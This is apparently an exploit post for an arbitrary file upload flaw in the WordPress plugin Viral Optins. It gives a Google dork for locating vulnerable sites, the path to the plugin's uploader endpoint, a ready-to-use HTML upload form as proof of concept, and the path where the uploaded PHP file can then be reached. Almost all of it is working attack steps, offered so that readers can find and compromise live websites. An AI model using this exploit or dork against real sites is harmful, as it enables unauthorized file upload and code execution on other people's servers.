# Exploit Title: WordPress Plugins Viral Optins - Arbitrary File Upload # Exploit Author: x0id # Date: 13 June 2017 # Tested on: Windows 7 1) Search target with Google Dorking inurl:/wp-content/plugins/viral-optins/ 2) Exploit the websites https://localhost/wp-content/plugins/viral-optins/api/uploader/file-uploader.php Vulnerability? Page Blank! 3) Proof of concept (PoC) <form method="POST" action="https://localhost/wp-content/plugins/viral-optins/api/uploader/file-uploader.php" enctype="multipart/form-data"> <input type="file" name="Filedata" /> <button>Upload!</button><br/> </form> 4) Result file access. https://localhost/wp-content/uploads/YYYY/MM/your-file.php Indonesian h4x0r.